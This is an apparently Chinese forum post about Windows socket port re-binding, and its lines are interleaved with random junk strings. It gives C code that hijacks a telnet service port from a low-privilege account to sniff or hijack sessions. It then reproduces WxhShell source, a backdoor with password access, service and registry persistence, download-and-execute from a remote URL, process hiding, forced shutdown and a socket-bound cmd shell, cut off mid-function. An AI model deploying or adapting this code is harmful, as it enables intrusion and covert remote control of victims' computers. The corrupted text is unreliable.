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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FZ<gpIv!NS s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8f4b&ah 4Zddw0|2 saddr.sin_family = AF_INET; LTCb@L{^i #s(BuVU saddr.sin_addr.s_addr = htonl(INADDR_ANY); T_
<@..C d-ZJL6- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =sU<S,a* D~iz+{Q4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -1_)LO&H !bx;Ta. 这意味着什么?意味着可以进行如下的攻击: e8!5I,I .x.]`b( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ")5":V~fN rgv?gaQ> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l
-m fFN w"|L:8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1..+F0U a=1@*ID 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 8.=BaNU nFe<w 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q=m'^
,gPS aQc leTb 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $am$EU?s Xp% v.M 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "5!oi]@>( uc\Kg1{ #include 9c'xHO` #include f:w?pE #include CL;}IBd a #include ~.nmI&3 DWORD WINAPI ClientThread(LPVOID lpParam); ~2N"#b&J int main() J#(LlCs?@c { D&
i94\vVa WORD wVersionRequested; }W8;=$jr DWORD ret; fk>aqm7D! WSADATA wsaData; IGQFtO/x BOOL val; )
7@ `ut SOCKADDR_IN saddr; +oML&g-g_ SOCKADDR_IN scaddr; gp?uHKsM int err; @)M9IOR SOCKET s; : /N0!&7 SOCKET sc; 9};8?mucr int caddsize; Fb>?1i`RN HANDLE mt; FUb\e-Q= DWORD tid; `?@}>. wVersionRequested = MAKEWORD( 2, 2 ); u@M,qo` err = WSAStartup( wVersionRequested, &wsaData ); ]Sz:|%JP1 if ( err != 0 ) { e}7lBLK]* printf("error!WSAStartup failed!\n"); n\'4 return -1; 1#2 I } B{#I:Rs9 saddr.sin_family = AF_INET; @ioJ]$o7 [ 5b--O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [ /b2=> j0aXyLNX saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lU\[aNs saddr.sin_port = htons(23); ]^7@}Ce_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h"Q8b}$^) { b3[!V{| printf("error!socket failed!\n"); !hy-L_wL] return -1; zxl@(hd } Vwf$JdK%&l val = TRUE; 3M7/?TMw{6 //SO_REUSEADDR选项就是可以实现端口重绑定的 n'LrQU if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [yQt^!; { 'KL0@l printf("error!setsockopt failed!\n"); o[w:1q7 return -1; ]p GL`ge5 } 6l
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//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eJ-xsH*8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p)-^;=<B3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q3N
jky1w o#Dk&
cH if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ()?(I?II { `UaD6Mc<Mz ret=GetLastError(); + GN(Ug'R printf("error!bind failed!\n"); u4?L 67x return -1; _ <V)-Y } ^
VyKd listen(s,2); AeM^73t while(1) BwpqNQN { 7S:\"A7 caddsize = sizeof(scaddr); Q"d^_z]K //接受连接请求 &PHTpkaam sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;xj?z\=Pg if(sc!=INVALID_SOCKET)
ltSU fI { ,w4(kcg%iQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $8h%a
8I if(mt==NULL) o5PO=AN { /Cr%{'Pzk printf("Thread Creat Failed!\n"); xLajso1g69 break; o:'MpKm } GL}]y -f } ec;o\erPG CloseHandle(mt); I$G['`XX/ } {dlXLx!B closesocket(s); JPHL#sKyz WSACleanup(); z&\a:fJ& return 0; J*A,o~U| } |YWD8 + DWORD WINAPI ClientThread(LPVOID lpParam) u
c)eil { [|$h*YK SOCKET ss = (SOCKET)lpParam; {}przrU^c SOCKET sc; &Z@o Q unsigned char buf[4096]; RbnVL$c SOCKADDR_IN saddr; ,[KD,)3y long num; &6!)jIWJ DWORD val;
8dA~\a DWORD ret; vI>w e //如果是隐藏端口应用的话,可以在此处加一些判断 K5h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 t=iIY`Md% saddr.sin_family = AF_INET; H%tdhu\e saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %wy.TN saddr.sin_port = htons(23); >]TWXmx/w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?l{nk5,?-Y { C{rcs' printf("error!socket failed!\n"); $a]`nLUa return -1; 2F.;;Ab } %sP*=5?vA val = 100; q?yVR3]M if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H*R"ntI?w { ^^$s%{ep" ret = GetLastError(); IEi^kJflU return -1; U7F!Z(
9 } B9z?mt'|r) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JH9J5%sp { S%>]q
s ret = GetLastError(); T!#GW/? return -1; + &Eqk } YD6'#( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (w3YvG. { 2/^3WY1U printf("error!socket connect failed!\n"); </zEg3F\ closesocket(sc); C,r;VyW6BI closesocket(ss); <%eG:n,# return -1; U8?mc } d7upz]K9g while(1) [z{1*Xc { g!|kp? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9Y9GwL]T //如果是嗅探内容的话,可以再此处进行内容分析和记录 :5<UkN)R( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #;yZ num = recv(ss,buf,4096,0); =;
Ff4aF if(num>0) N4!O.POP send(sc,buf,num,0); Ti5-6%~& else if(num==0) r,p%U!S<hV break; ZY+qA num = recv(sc,buf,4096,0); ;A*]l'[- if(num>0) oMa6(3T?E send(ss,buf,num,0); XRi8Gpg else if(num==0) m:2^=l4 break; 73;GW4, } CD~.z7,LC closesocket(ss); 7?_CcRe closesocket(sc); L="}ErmK return 0 ; TvbE2Q;/UL }
/J;Kn]5e onzxx4bax ON(kt3.h ========================================================== qX{+oy5 F JyT+ 下边附上一个代码,,WXhSHELL sO@Tf\d UaeXY+O ==========================================================
8d'0N (jE9XxQY #include "stdafx.h" f-Z/tfC 26h21Z16q #include <stdio.h> t{{QE:/ #include <string.h> b\2
ds, #include <windows.h> %'pgGC"| #include <winsock2.h> [4f{w%~^ #include <winsvc.h> j\M?~=*w #include <urlmon.h> @o`AmC.
8 L!xi #pragma comment (lib, "Ws2_32.lib") '`Hr} #pragma comment (lib, "urlmon.lib") iXjM.G <LiPEo.R #define MAX_USER 100 // 最大客户端连接数 #ABZ&Z #define BUF_SOCK 200 // sock buffer f@!.mDm] #define KEY_BUFF 255 // 输入 buffer i/Zd8+.n$ -iZ`Y? #define REBOOT 0 // 重启 3Y$GsN4ln #define SHUTDOWN 1 // 关机 #H~64/ M\BRcz #define DEF_PORT 5000 // 监听端口 0g8NHkM:2a y:uE3Apm #define REG_LEN 16 // 注册表键长度 gB33? #define SVC_LEN 80 // NT服务名长度 +NUG X&H"51 // 从dll定义API eHUOU>&P] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K[YyBEid typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f!X[c?Xy" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !4+<<(B=E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4Z0]oIX v]UwJz3< // wxhshell配置信息 (ToUgVW1N struct WSCFG { xAm6BB
c int ws_port; // 监听端口 Mi_$">1-W char ws_passstr[REG_LEN]; // 口令 )^hbsMhO int ws_autoins; // 安装标记, 1=yes 0=no C0Z=~Q% char ws_regname[REG_LEN]; // 注册表键名 d<Tc7vg4|U char ws_svcname[REG_LEN]; // 服务名 _+MJ%'>S char ws_svcdisp[SVC_LEN]; // 服务显示名
]ZS
OM\} char ws_svcdesc[SVC_LEN]; // 服务描述信息 OY({.uV dX char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FS1z`wYP int ws_downexe; // 下载执行标记, 1=yes 0=no E]r?{t`] char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" w0unS`\4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r3?o9D> YS_;OFsd }; ^iYj[~ \i&<s; // default Wxhshell configuration COlaD"Y struct WSCFG wscfg={DEF_PORT, (QB2T2x "xuhuanlingzhe", MolgwVd 1, 47/iF97 "Wxhshell", tZo} ;|~' "Wxhshell", '|=;^Z7.K "WxhShell Service", zm;C\s rF "Wrsky Windows CmdShell Service", GC'O[q+ "Please Input Your Password: ", j'K/22 1, TA~{1_l " http://www.wrsky.com/wxhshell.exe", FpU>^'2] "Wxhshell.exe" d #wVLmKZ }; q@2siI~W f*8DCh!r" // 消息定义模块 /Z4et'Lo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Dvln/SBk char *msg_ws_prompt="\n\r? for help\n\r#>"; 69.NPy@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; TD_Oo-+\ char *msg_ws_ext="\n\rExit."; *Pg2c(Vg char *msg_ws_end="\n\rQuit."; hE-M$LmN@ char *msg_ws_boot="\n\rReboot..."; /qw.p# char *msg_ws_poff="\n\rShutdown..."; PPsE${! char *msg_ws_down="\n\rSave to "; 1h5 Akq vZ Lf char *msg_ws_err="\n\rErr!"; }(u
ol char *msg_ws_ok="\n\rOK!"; e96k{C`j0 &cTU
sK char ExeFile[MAX_PATH]; FVBYo%Ap int nUser = 0; x,V r=FB HANDLE handles[MAX_USER]; |wj?ed$
f int OsIsNt; v &+R^iLE |Q>IrT SERVICE_STATUS serviceStatus; a'IdYW0 SERVICE_STATUS_HANDLE hServiceStatusHandle; ?
=+WRjF tLmTjX .6 // 函数声明 teVM*- int Install(void); 4KrL{Z+} int Uninstall(void); T6k0>[3xf int DownloadFile(char *sURL, SOCKET wsh); 3+bt~J0 int Boot(int flag); Aiea\jBv void HideProc(void); t#"Grk8Mz& int GetOsVer(void); rVsJ`+L int Wxhshell(SOCKET wsl); <54
S void TalkWithClient(void *cs); Rx}Gz$ int CmdShell(SOCKET sock); vr^qWn int StartFromService(void); p()xz int StartWxhshell(LPSTR lpCmdLine); Du){rVY^d Na Cy@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `9.r`&T6K VOID WINAPI NTServiceHandler( DWORD fdwControl ); H>@+om t
|oR7qa{w // 数据结构和表定义 CJI~_3+K SERVICE_TABLE_ENTRY DispatchTable[] = W@!S%Y9 { ;9g2?-svw
{wscfg.ws_svcname, NTServiceMain}, OZ!^ak {NULL, NULL} L8 @1THY }; 3f;>" P} "
2Dngw // 自我安装 FxtI"g\0 int Install(void) -Y;3I00( { VLN_w$iEq char svExeFile[MAX_PATH]; Xn\jO>[Ef HKEY key; #R
RRu2 strcpy(svExeFile,ExeFile); :eLVC7' wec)Ctj+ // 如果是win9x系统,修改注册表设为自启动 lb1Xsgm{ if(!OsIsNt) { 2f_:v6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s"?3]P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sn>~O4" RegCloseKey(key); }:#P)8/v>% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WMP,\=6k0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,6W>can RegCloseKey(key); S 6,.FYH return 0; B?o7e<l[ } Xb,3Dvf } BFW&2 } 4ss4kp_> else { wH6aAV~1 A.w:h;7 // 如果是NT以上系统,安装为系统服务 5E_YEBO/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2dgd~
if (schSCManager!=0) !5?<% * { *_g$MI SC_HANDLE schService = CreateService da~],MN ( 3{(/x1a,4 schSCManager, &Y eA:i? wscfg.ws_svcname, NW)1#]gg% wscfg.ws_svcdisp, 1g~R/*Jo SERVICE_ALL_ACCESS, j1HW._G SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /|#fejPh SERVICE_AUTO_START, t );/'3| SERVICE_ERROR_NORMAL, Vs{|xG7WD svExeFile, v74&BL]a NULL, 0Fr?^3h NULL, G9@0@2aY8 NULL, *k>n<p3dd NULL, ?b5^ NULL <_KIK ); Nl(Foya%) if (schService!=0) VOh4#%Vj { @$K"o7+] CloseServiceHandle(schService); F1Bq$*'N$w CloseServiceHandle(schSCManager); y L~W.H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d8x;~RA strcat(svExeFile,wscfg.ws_svcname); ?@
$r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `pZm?}K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lq!>kT<]! RegCloseKey(key); ;P&OX5~V return 0; N$:8,9.z } w"&n?L }
1ZB"EQ CloseServiceHandle(schSCManager); _8agtQ:< } $]2vvr } :S(ZzY
Q "G9xMffW return 1; %GIr&V4| } MR.'t9m2L "Os_vlapHo // 自我卸载 ps DetP
int Uninstall(void) u,Kly<0j { `n?DU;, HKEY key; QnX(V[ &Z|P2 dI if(!OsIsNt) { VTHH&$ZNq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wJY' RegDeleteValue(key,wscfg.ws_regname); n>U5R_T RegCloseKey(key); 6/dI6C! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4]}'Hln*U RegDeleteValue(key,wscfg.ws_regname); IRqy%@) RegCloseKey(key); 42ivT_H return 0; )TM4R)r%)9 } i8HTzv"J } zT?D<XW>1 } DrK{}uM else { y Fq&8 x<X =[jXe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hqkz^!rp if (schSCManager!=0) \:F_xq { x# 5A(g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^@NU}S):yN if (schService!=0) k2UVm$}u { F`]2O:[ if(DeleteService(schService)!=0) { x.R4%Z CloseServiceHandle(schService); Y% 5eZ=z CloseServiceHandle(schSCManager); ZO$%[ftb return 0; jdJ>9O0A, } =kG@a(- CloseServiceHandle(schService); Q>1[JW{$} } KL Xq\{X CloseServiceHandle(schSCManager); 5bpEYW+ } R<N
]B } |*tp16+6 }txX;"/ return 1; Aj]V`B:65 } FH+s s! ZLAy-
9^Y // 从指定url下载文件 R@k&SlL'` int DownloadFile(char *sURL, SOCKET wsh) "kgdbAZ { [QT#Yf0 HRESULT hr; i@M[>~ char seps[]= "/"; Y,zxbXZv'5 char *token; q{;:SgZ char *file;
c=.(!qdH char myURL[MAX_PATH]; l0A&9g*l2 char myFILE[MAX_PATH]; QGmn#]w\\ SS.dY""89 strcpy(myURL,sURL); UFb)AnK token=strtok(myURL,seps); 0b(N^$js' while(token!=NULL) K:30_l< { OX\F~+ file=token; ;q6Ki.D token=strtok(NULL,seps); bhlG,NTP } l"]}Ts# P3 ^Y"Pv? GetCurrentDirectory(MAX_PATH,myFILE); w}cPs{Vi" strcat(myFILE, "\\"); jPW#(3hoE strcat(myFILE, file); d)f :)Ew send(wsh,myFILE,strlen(myFILE),0); [RTs[3E^ send(wsh,"...",3,0); @@%.t|= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QWHug:c if(hr==S_OK) 1Nd2{( return 0; 7g}w+p> else gQ1;],_ return 1; t" Z6[XG _MX>#!l } .];=Pu^ (n9gkO&8" // 系统电源模块
`~CQU int Boot(int flag) 03S]8l { HBx=\%;n HANDLE hToken; Z^MNf TOKEN_PRIVILEGES tkp; !^Y(^RS@ dT1H if(OsIsNt) { 0T5L_%c OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UH/\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ng>h"H tkp.PrivilegeCount = 1; dQR-H7U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qhcu>ra AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oWo-
j< if(flag==REBOOT) { |R\>@Mg#B if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bYQRBi return 0; A#'8X w| } G<rHkt@[ else { !9P';p}2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2JcjZn return 0; *w0%d1 } Jcm&RI"{ } JQHvz9Yg else { tc{sB\&- if(flag==REBOOT) { eb"5-0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =k`Cr0aPF return 0; h6`6tk } .O}% else { dP]\Jo=Yh if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `W/>XZl+t return 0; CDR@
`1- } h/hmlnOQl } Cg?&wj< d;9FB[MmOJ return 1; ls:w8&`* } *QQzvhk {v;&5! s // win9x进程隐藏模块 o:P}Wg/NK void HideProc(void) .rqhi { @>>~CZ`l +jnJ|h({ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JKmIvZ)8 if ( hKernel != NULL ) r{I%
\R!@ { x!58cS* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y+u_IJ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); } .y
1;. FreeLibrary(hKernel); .I0qG g } Jk=I^%~ <oA7'|Bu< return; 2OR{[L*
} b:]V`uF? A='N=^Pm // 获取操作系统版本 y^v6AM int GetOsVer(void) 0rG^,(3m { ?8Z0Gqt74 OSVERSIONINFO winfo; .-oxb,/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?FF4zI~ GetVersionEx(&winfo); kw%};; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "PTZ%7YH} return 1; .NC:;@y else X1-'COQS%& return 0; g+>(dnX } qUGC"<W };jN\x?&q // 客户端句柄模块 (VEpVn3{ int Wxhshell(SOCKET wsl) eMY<uqdw { ah0`KxO] SOCKET wsh; #
,_u_'C*! struct sockaddr_in client; dS!:JO27 DWORD myID; *ipFwQ MUREiL9L| while(nUser<MAX_USER) 4UvZ)^r { MWpQ^dL_ int nSize=sizeof(client); ,*hLFaR- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pRIhFf if(wsh==INVALID_SOCKET) return 1; p=GBUII # g<f <Ip= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N&g3t%F if(handles[nUser]==0) b
Y\K closesocket(wsh); 4;]hK!AXS else mA+&Io nUser++; mmEYup(l0; } O%!!w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a>]uU*Xm vMt/u?oB return 0; :xv!N*Le } vK\%%H Y^7$t^& // 关闭 socket ]X5 9 void CloseIt(SOCKET wsh) Vjp1RWb { *4+"Lh.KS closesocket(wsh); C=)A6
;=se nUser--; P.;aMRMR ExitThread(0); u:gN?O/G } 6S*exw ^O<&f D // 客户端请求句柄 J|kR5'?x void TalkWithClient(void *cs) ()Y4v { TKY*`?ct ,t9^j3Ixg SOCKET wsh=(SOCKET)cs; KB`!Sj\ char pwd[SVC_LEN]; q6SXWT'Sa char cmd[KEY_BUFF]; MVTMwwO \[ char chr[1]; I E&!YP(U( int i,j; Vp*KfS] F6OpN"UM' while (nUser < MAX_USER) { m)v"3ib Nj
xoTLI if(wscfg.ws_passstr) { bE#,=OI$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )ufg9"\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); luuX2Mx>o //ZeroMemory(pwd,KEY_BUFF); "2P&X i=0; /VS[pXXT| while(i<SVC_LEN) { m~P CB_ifW V4P;
5[ // 设置超时 NI#:|}CYS fd_set FdRead; , 5kKimTt struct timeval TimeOut; 7;sj%U^'l FD_ZERO(&FdRead); -pa )K"z FD_SET(wsh,&FdRead); ?_$=l1vf TimeOut.tv_sec=8; y?m/*hh` TimeOut.tv_usec=0; G_{&sa int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ];a=Pn-:}G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l@ H @}OL9Ch if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EB=-H# pwd =chr[0]; jN>{'TqW4 if(chr[0]==0xd || chr[0]==0xa) { D@|W<i- pwd=0; jR22t`4 break; ^ZhG>L* } V |/NB i++; ') gi% } o/6-3QUak V\6[}J // 如果是非法用户,关闭 socket ^G.Xc\^w: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >.'*)@vQi } Nz+949X rI>aAW' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h\.zdpR send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O-cbX/d AW_(T\P:u while(1) { v<OJ69J ,M6Sy]Aj ZeroMemory(cmd,KEY_BUFF); YW`,v6 (TwnkXrR, // 自动支持客户端 telnet标准 "@d[h ,TM j=0; 3k#/{Z while(j<KEY_BUFF) { }YMy6eW4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t!x5 fNo) cmd[j]=chr[0]; y[\VUzD*' if(chr[0]==0xa || chr[0]==0xd) { 6morum cmd[j]=0; 2f:Eof(B
break; }i`PGx } {Jx4xpvPo j++; SWQ5fcPu } tqeZ#w7 aj}sc/Qa // 下载文件 VUYmz)m5 if(strstr(cmd,"http://")) { Q7$.LEioN send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tekfw if(DownloadFile(cmd,wsh)) h0-hT send(wsh,msg_ws_err,strlen(msg_ws_err),0); /D^"X
4!" else :GW&O /Yo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1_
C]*p } D
<&X_ else { 9h%?QC (+u39NQV switch(cmd[0]) { J-)
XQDD r'uGWW"w // 帮助 $dzy%lle case '?': { D]W$?(=4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9}uW}yJ break; =ng\ 9y[;D } bH2MdU // 安装
8<7GdCME case 'i': { YoLx>8 if(Install()) ,0~9dS send(wsh,msg_ws_err,strlen(msg_ws_err),0); :l&V]}:7* else ^#1.l=s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?(m
jx break; tBT<EV{ G } AfP'EP0m // 卸载 9D}/\jM case 'r': { ,FMx5$ if(Uninstall()) d/|D<Sb[s send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q~Hh\L t else }gMDXy} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4e;yG> break;
wm")[!h)v } WN5`;{\ // 显示 wxhshell 所在路径 bi&*9K0 case 'p': { s^|.Zr;,> char svExeFile[MAX_PATH]; ^Q ps>A( strcpy(svExeFile,"\n\r"); nF4a-H&Fo strcat(svExeFile,ExeFile); .OqSch| send(wsh,svExeFile,strlen(svExeFile),0); Qb; d:@9 break; M=*bh5t%] } xIGfM>uq // 重启 ''^Y>k case 'b': { "/6:6`J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rs*Fy@ if(Boot(REBOOT)) Kryo} send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZA9sTc[
g else { )d-.M closesocket(wsh); :%AL\n ExitThread(0); sf| ke9-3 } ZP$-uaa- break; ND,Kldji } zBp{K@U[|M // 关机 {}m PEd b case 'd': { -}4NT{E send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pge++Di if(Boot(SHUTDOWN)) ?@t d send(wsh,msg_ws_err,strlen(msg_ws_err),0); pD2<fP_ else { ,7)C" closesocket(wsh); RQB]/D\BO ExitThread(0); Gqcz<=/ } j.ldaLdG break; kR@Yl Yo } 7Irau_ // 获取shell o/
mF# case 's': { :BukUket1e CmdShell(wsh); 8W+gl=C~ closesocket(wsh); JwRF(1_sM ExitThread(0); eo!zW break; J~iBB~x. } p!V>XY'N^ // 退出 M9f?q.Bv case 'x': { !k(_PM send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {(#%N5% CloseIt(wsh); f0SAP0M3 break; ^*= 85iyo } N+)?$[ // 离开 0hn-FH-XE case 'q': { /.eeO k send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?Xo*1Z = closesocket(wsh); 70Yjv1i WSACleanup(); c$,_>tcP exit(1); `L5~mb;7* break; h~,JdDV8l* } qr50E[ } X$b={]b } xwZ8D<e-, YyJPHw)Z // 提示信息 SL&hJs4c' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H{c?lT } Tv]<SI<B[ } LaIJ1jf vhT_=:x return; o{kbc5_ } HygY>s+3[
5Wj;
[2
) // shell模块句柄 %T=A{<[` int CmdShell(SOCKET sock) zT* .jv { \#x}q'BC4 STARTUPINFO si; V*$L;xbC| ZeroMemory(&si,sizeof(si)); !b-bP,q si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Na,_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pA#}-S% PROCESS_INFORMATION ProcessInfo; (|fm6$ char cmdline[]="cmd"; zggB$5 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YEx)"t8E return 0; l0Ti Z } a!c[! W~B5>;y // 自身启动模式 1fL<&G int StartFromService(void) tAFti+Qb { &~f3 psA typedef struct FM5e+$>@ { a)! g7u DWORD ExitStatus; [rOaM$3| DWORD PebBaseAddress; zN_:nY> DWORD AffinityMask; -
?!:{UXl DWORD BasePriority; $O:w(U ULONG UniqueProcessId; 68'>Zbelb ULONG InheritedFromUniqueProcessId; 7C?.L70ZY } PROCESS_BASIC_INFORMATION; 3%<C<( MuEy>dl PROCNTQSIP NtQueryInformationProcess; TE-;X,gDV_ )I@L+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $H'X V"<o static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %YlTF\- MYnH2w] HANDLE hProcess; VnJMmMM PROCESS_BASIC_INFORMATION pbi; "x&C5l}n z&3]%t
